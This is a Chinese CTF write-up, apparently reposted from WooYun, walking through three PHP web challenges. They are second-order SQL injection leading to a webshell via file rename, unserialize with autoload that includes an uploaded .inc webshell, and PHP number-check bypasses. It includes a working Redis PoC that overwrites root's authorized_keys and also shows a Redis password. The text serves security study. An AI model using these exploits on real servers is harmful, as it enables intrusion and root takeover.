<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/10564

                    自從三個白帽問世以后,收到了大家的喜歡,依托『三個白帽』烏云做了幾次小競賽,我也出了幾道題。Writeup不全是大家普遍反映的問題,我這里把幾道題的解題思路匯總一下。 這幾道題的源代碼與環境都在三個白帽的集市中,大家獲取三個白帽的邀請碼以后可以在集市中進行購買與啟動。

                    0x00 二次注入+文件名修改導致getshell


                    本題是出現在XDCTF2015線下決賽中的題目之一,被我移植到三個白帽的環境中了。考察的是代碼審計功底,和對于二次注入的利用。

                    入口:二次注入漏洞

                    此題入口點是二次注入。
                    在common.inc.php中可以看到全局進行了轉義,這樣常規注入少了大部分。遍觀代碼,輸入處沒有任何反轉義、反解壓、數字型等特殊情況,基本可以確定不存在直接的注入漏洞。 看到上傳處的代碼upload.php:

                    #!php
                    $name = basename($file["name"]);
                    $path_parts = pathinfo($name);    
                    
                    if(!in_array($path_parts["extension"], ["gif", "jpg", "png", "zip", "txt"])) {
                        exit("error extension");
                    }
                    $path_parts["extension"] = "." . $path_parts["extension"];    
                    
                    $name = $path_parts["filename"] . $path_parts["extension"];
                    $path_parts["filename"] = $db->quote($path_parts["filename"]);    
                    
                    $fetch = $db->query("select * from `file` where
                    `filename`={$path_parts['filename']}
                    and `extension`={$path_parts['extension']}");
                    if($fetch && $fetch->fetchAll()) {
                        exit("file is exists");
                    }    
                    
                    if(move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {
                        $re = $db->exec("insert into `file`
                              ( `filename`, `view`, `extension`) values
                              ( {$path_parts['filename']}, 0, '{$path_parts['extension']}')");
                        if(!$re) {
                            print_r($db->errorInfo());
                            exit;
                        }
                    

                    可見,上傳的文件名走過的流程是:
                    $file['name'] -> pathinfo() –> $path_parts["filename"] -> quote() -> insert
                    由于經過了pdo的quote方法轉義,所以此處也不存在注入。
                    再看到rename.php

                    #!php
                    $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
                    if ($result) {
                        $result = $result->fetch();
                    }    
                    
                    
                    if(!$result) {
                        exit("old file doesn't exists!");
                    } else {    
                    
                        $req['newname'] = basename($req['newname']);
                        $re = $db->exec("update `file` set
                                    `filename`='{$req['newname']}',
                                    `oldname`='{$result['filename']}'
                                    where `fid`={$result['fid']}");
                    

                    根據$req['filename']從數據庫里查詢到已存在的一行,并調用update語句進行修改。
                    但這里oldname='{$result['filename']}' 將從數據庫里查出的$result['filename']再一次入庫,結果造成一個二次注入。

                    利用二次操作進行getshell

                    那么注入有什么用?
                    這應該是大家拿到題目,想到的第一個問題。這題明顯與getshell有關,源碼里包含文件上傳、文件改名、文件刪除等函數。
                    我們來一個個分析。

                    首先upload.php是文件上傳的操作,但可見上傳處對文件進行了白名單驗證:

                    #!php
                    if(!in_array($path_parts["extension"], ["gif", "jpg", "png", "zip", "txt"])) {
                        exit("error extension");
                    }
                    

                    導致我們無法上傳惡意文件。

                    其次是delete.php,這個文件其實是個煙霧彈,刪除操作并不能利用。
                    再次是rename.php,這里明顯是getshell的關鍵。

                    #!php
                    $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
                    if ($result) {
                        $result = $result->fetch();
                    }    
                    
                    if(!$result) {
                        exit("old file doesn't exists!");
                    } else {
                        $req['newname'] = basename($req['newname']);
                        $re = $db->exec("update `file` set
                                    `filename`='{$req['newname']}',
                                    `oldname`='{$result['filename']}'
                                    where `fid`={$result['fid']}");
                        if(!$re) {
                            print_r($db->errorInfo());
                            exit;
                        }
                        $oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
                        $newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
                        if(file_exists($oldname)) {
                            rename($oldname, $newname);
                        }
                    

                    最重要的就是后面這5行。
                    Oldname和newname,有幾個特點:

                    1. 后綴相同,都是$result[‘extension’]
                    2. oldname的文件名來自數據庫,newname的文件名來自用戶輸入

                    首先后綴相同這個特點,就導致getshell似乎難以完成,如果要getshell那么一定要將“非.php”后綴的文件重命名成“.php”的文件。后綴相同怎么重命名?
                    除非后綴為空!
                    所以我們的update型注入就開始派上用場了。通過update型注入,我們可以將數據庫中extension字段的值改為空,同時也可以控制filename的值,那么等于說我能控制rename函數的兩個參數的值,這樣getshell就近在咫尺了。

                    但還有個坑,這里改名的時候檢查了文件是否存在:if(file_exists($oldname))
                    我雖然通過注入修改了filename的值,但我upload目錄下上傳的文件名是沒有改的。
                    因為我利用注入將extension改為空了,那么實際上數據庫中的filename總比文件系統中真是的文件名少一個后綴。
                    那么這里的file_exists就驗證不過。怎么辦?
                    簡單啊,再次上傳一個新文件,這個文件名就等于數據庫里的filename的值就好了。

                    所以最后整個getshell的流程,實際上是一個二次注入 + 二次操作getshell.

                    具體操作

                    1.選擇文件上傳

                    2.rename造成注入:

                    3.上傳真正包含webshell的文件x.jpg

                    4.重命名進行getshell:

                    5.成功

                    0x01 反序列化+auto_register導致的代碼執行


                    本題考察的是PHP反序列化碰上auto_register導致的安全問題。

                    找到源碼

                    目標 http://24caf446e2bb0e659.jie.sangebaimao.com/
                    首先掃描發現其包含.git目錄,但訪問/.git/index發現沒有這個文件,可能是被破壞了。
                    用lijiejie的工具無法還原,但用某些工具還是可以辦到的,詳見我之前的文章:https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
                    就不再贅述,用某工具直接還原源碼:

                    getshell

                    首先通讀源碼,發現有幾個特點:

                    1. 可以上傳任意文件,后綴有黑名單檢查,文件名是隨機字符串md5值
                    2. 數據存儲于cookie中,通過php反序列化函數還原并顯示

                    其實考察點比較有意思。
                    看到common.inc.php里,包含spl_autoload_register函數,這個函數是自動注冊類用的,在當今特別是新型的框架(laravel、composer)中常用。
                    這個函數有個特點,如果不指定處理用的函數,就會自動包含“類名.php”或“類名.inc”的文件,并加載其中的“類名”類。
                    這就比較有意思了,我們之前的黑名單是不包括“.inc”文件的,所以我們可以按照下面方法進行getshell:

                    1.上傳webshell,后綴為.inc,被重命名為xxxx.inc

                    2.序列化一個類名為xxxx的類對象

                    3.將序列化以后的字符串作為cookie,發送到服務器上

                    4.服務器反序列化這個字符串后,將會自動加載xxxx類,由于之前spl_autoload_register函數注冊的方法,會自動加載xxxx.inc,從而造成文件包含漏洞,getshell成功

                    在網站根目錄的flag-1.php中獲得第一個flag。

                    利用本地redis提權

                    拿到webshell以后,查看一下服務器的一些敏感信息。
                    比如在phpinfo里看到了,session的處理方式用的redis,并且save_path里暴露了redis的端口和密碼:

                    于是可以利用這段時間比較火的redis寫公鑰文件進行提權。
                    直接編寫一個redis.php,用php來連接redis,執行redis寫公鑰的POC:

                    #!php
                    <?php 
                    $redis = new Redis(); 
                    $redis->connect('127.0.0.1', 21821); 
                    $redis->auth("Tat141uIyX8NKU"); 
                    $redis->flushall(); 
                    $redis->config("SET", "dir", "/root/.ssh/"); 
                    $redis->config("SET", "dbfilename", "authorized_keys"); 
                    $redis->set("0", "\n\n\nssh-rsa key_pub\n\n\n"); 
                    $redis->save();
                    

                    連接其ssh端口,直接獲取root權限。
                    讀取/root/flag-2.txt獲得第二個flag。

                    0x02 PHP類型與邏輯+fuzz與源代碼審計


                    本題考察了PHP類型與變量的特點,與參賽選手對于一個『不明白』的問題的解決方案(fuzz或閱讀源碼)。
                    源碼如下

                    #!php
                    <?php
                    if(isset($_GET['source'])){
                        highlight_file(__FILE__);
                        exit;
                    }
                    include_once("flag.php");
                     /*
                        shougong check if the $number is a palindrome number(hui wen shu)
                     */
                    function is_palindrome_number($number) {
                        $number = strval($number);
                        $i = 0;
                        $j = strlen($number) - 1;
                        while($i < $j) {
                            if($number[$i] !== $number[$j]) {
                                return false;
                            }
                            $i++;
                            $j--;
                        }
                        return true;
                    }
                    ini_set("display_error", false);
                    error_reporting(0);
                    $info = "";
                    $req = [];
                    foreach([$_GET, $_POST] as $global_var) {
                        foreach($global_var as $key => $value) {
                            $value = trim($value);
                            is_string($value) && is_numeric($value) && $req[$key] = addslashes($value);
                        }
                    }    
                    
                    $n1 = intval($req["number"]);
                    $n2 = intval(strrev($req["number"]));
                    if($n1 && $n2) {
                        if ($req["number"] != intval($req["number"])) {
                            $info = "number must be integer!";
                        } elseif ($req["number"][0] == "+" || $req["number"][0] == "-") {
                            $info = "no symbol";
                        } elseif ($n1 != $n2) { //first check
                            $info = "no, this is not a palindrome number!";
                        } else { //second check
                            if(is_palindrome_number($req["number"])) {
                                $info = "nice! {$n1} is a palindrome number!";
                            } else {
                                if(strpos($req["number"], ".") === false && $n1 < 2147483646) {
                                    $info = "find another strange dongxi: " . FLAG2;
                                } else {
                                    $info = "find a strange dongxi: " . FLAG;
                                }
                            }
                        }
                    } else {
                        $info = "no number input~";
                    }
                    ?>
                    

                    在題目上線前,我已經讓部分人測試過,當時大家找到了一些解決方法。
                    之前沒有這句話$req["number"] != intval($req["number"]),所以大家有很多方法可以解決這個問題,比如1x10、01.1
                    于是我加了上面這句判斷,這樣就可以限制這些解法。現在說一下最終得到的三種解決方案。

                    利用整數溢出繞過

                    這是最簡單的方法,用的是php的整數上限。借用下 @藍加白 寫的writeup(條理清晰,思路很好)。
                    首先,看一下源代碼。發現要找到FLAG,必須要滿足以下三個條件:

                    1. number = intval(number)
                    2. intval(number) = intval(strrev(number))
                    3. not a palindorme number

                    貌似第二個條件和第三個條件沖突了,但是我們可以利用intval函數的限制:
                    http://php.net/manual/zh/function.intval.php
                    看一下解釋:最大的值取決于操作系統。 32 位系統最大帶符號的 integer 范圍是 -2147483648 到 2147483647。舉例,在這樣的系統上, intval('1000000000000') 會返回 2147483647。64 位系統上,最大帶符號的 integer 值是 9223372036854775807。
                    從上面我們可以知道,intval函數還依賴操作系統,很明顯測試的環境系統是64位,所以應該選:9223372036854775807。
                    但有個問題,它的回文數明顯小于64位系統的限制,所以我們想到前面加個0;
                    最終payload: http://f2ed13418097d206c.jie.sangebaimao.com/?number=09223372036854775807

                    利用浮點數精度繞過

                    這是 @玉林嘎 提出來的解決方案。
                    我來說一下原理。首先在電腦上測試下面的php代碼:

                    可見,在小數小于某個值(10^-16)以后,再比較的時候就分不清大小了,這與php內部儲存浮點數的機制有關。
                    在計算機里,是不能精確表示某個浮點數的。比如1.0,通常情況下儲存在計算機里的數值是1.000000000000xxx,是一個十分接近1.0的數。
                    所以,我們在執行這個if語句的時候if ($req["number"] != intval($req["number"])),會先將右值轉換成整數,再與左值比較。而左值是一個浮點數(1.000000000000001),所以右值又會被隱式地強制轉換成浮點數1.0
                    那么1.0和1.000000000000001究竟是否相等呢?
                    因為我前面說的特性,1.0其實也不是精準的1.0,所以php在比較的時候是不能精準比較浮點數的,所以它會『忽略』比10的-16次方更小的部分,然后就會認為左值和右值相等。

                    回到CTF中,利用這個特性,我們構造1000000000000000.00000000000000010,即可繞過第一個if語句,并且拿到flag。

                    函數特性導致繞過

                    這個特性涉及到php『數字類』函數的一個特性。什么函數?包括is_numeric和intval等包含數字判斷及轉換的函數。
                    is_numeric為例,我們先來看他的源代碼:

                    可見我畫框的部分,is_numeric函數在開始判斷前,會先跳過所有空白字符。這是一個特性。
                    也就是說,is_numeirc(" \r\n \t 1.2")是會返回true的。
                    同理,intval(" \r\n \t 12"),也會正常返回12。
                    這就完成了一半。但有的同學又問了,題目獲取$req['number']的時候明明使用trim過濾了空白字符的呀?
                    我們再看到trim的源碼:

                    掰指頭算一下,這里過濾的空白字符和之前跳過的空白字符有什么區別?
                    少了一個"\f",嘿嘿。
                    于是我們可以引入\f(也就是%0c)在數字前面,來繞過最后那個is_palindrome_number函數,而對于前面的數字判斷,因為intval和is_numeric都會忽略這個字符,所以不會影響。
                    最后通過payload: http://f2ed13418097d206c.jie.sangebaimao.com/?number=%0c121 拿到第二個flag:

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频